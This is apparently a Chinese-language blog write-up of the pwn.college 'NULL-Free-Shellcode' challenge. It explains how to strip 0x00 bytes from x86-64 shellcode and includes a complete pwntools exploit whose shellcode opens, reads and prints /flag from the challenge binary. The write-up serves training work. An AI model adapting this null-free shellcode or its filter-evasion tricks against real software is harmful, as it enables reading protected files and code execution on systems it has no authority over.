NULL-Free-Shellcode

题目简介

这道题说了,会将输入的内容当作代码来执行,但是会对输入的内容做一些限制

漏洞点分析与利用

这道题给了源码,也没有什么easy和hard区分,因此主要记录一个trick,即如何清除shellcode里的0x00字节

漏洞点简单介绍一下,看源代码中,留了4096个字节读取我们的输入,然后执行过滤逻辑,遇到0x00就会退出

那么如何清除0字节?根据0字节的来源有2种方法:

1 对寄存器赋值0时会产生0字节,因此避免直接使用mov指令将寄存器清零,而应该使用xor指令

2 对寄存器赋值一个较小的数字会产生0字节,因此对寄存器赋值时,如果目标值很小,需要采用先把操作数push进栈,再pop出栈到寄存器的方法<br
有了上面的理论,就很好构造shellcode了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context(os='linux', arch='x86_64',log_level='debug')
shellcode = asm('''
.intel_syntax noprefix
mov r10,0x67616c662f2f2f2f
shr r10,24
push r10
lea rdi,[rsp]
xor rsi,rsi
xor rax,rax
push 2
pop rax
syscall

mov rdi,rax
sub rsp,100
lea rsi,[rsp]
xor rdx,rdx
push 100
pop rdx
xor rax,rax
syscall

xor rdi,rdi
push 1
pop rdi
lea rsi,[rsp]
xor rax,rax
push 1
pop rax
syscall

''')
payload=shellcode
ioTube=process("/challenge/binary-exploitation-null-free-shellcode")
ioTube.recvuntil("Reading 0x1000 bytes from stdin.\n")
ioTube.send(payload)
response=ioTube.recvall().decode(errors="ignore")
if r"pwn.college{" in response:
open("flag.txt","w").write(response)

解释一下第一行传flag字符串参数为什么要这么写,首先/flag只有5个字节,会产生0字节,所以用斜线(即2f)填充,但这样会导致打开文件失败,所以当复制完成后,通过右移指令把多余的2f移丢即可


NULL-Free-Shellcode
http://0x4a-210.github.io/2025/07/19/pwn.college/Intro-to-Cybersecurity/Pwn/NULL-Free-Shellcode/
Posted on
July 19, 2025
Licensed under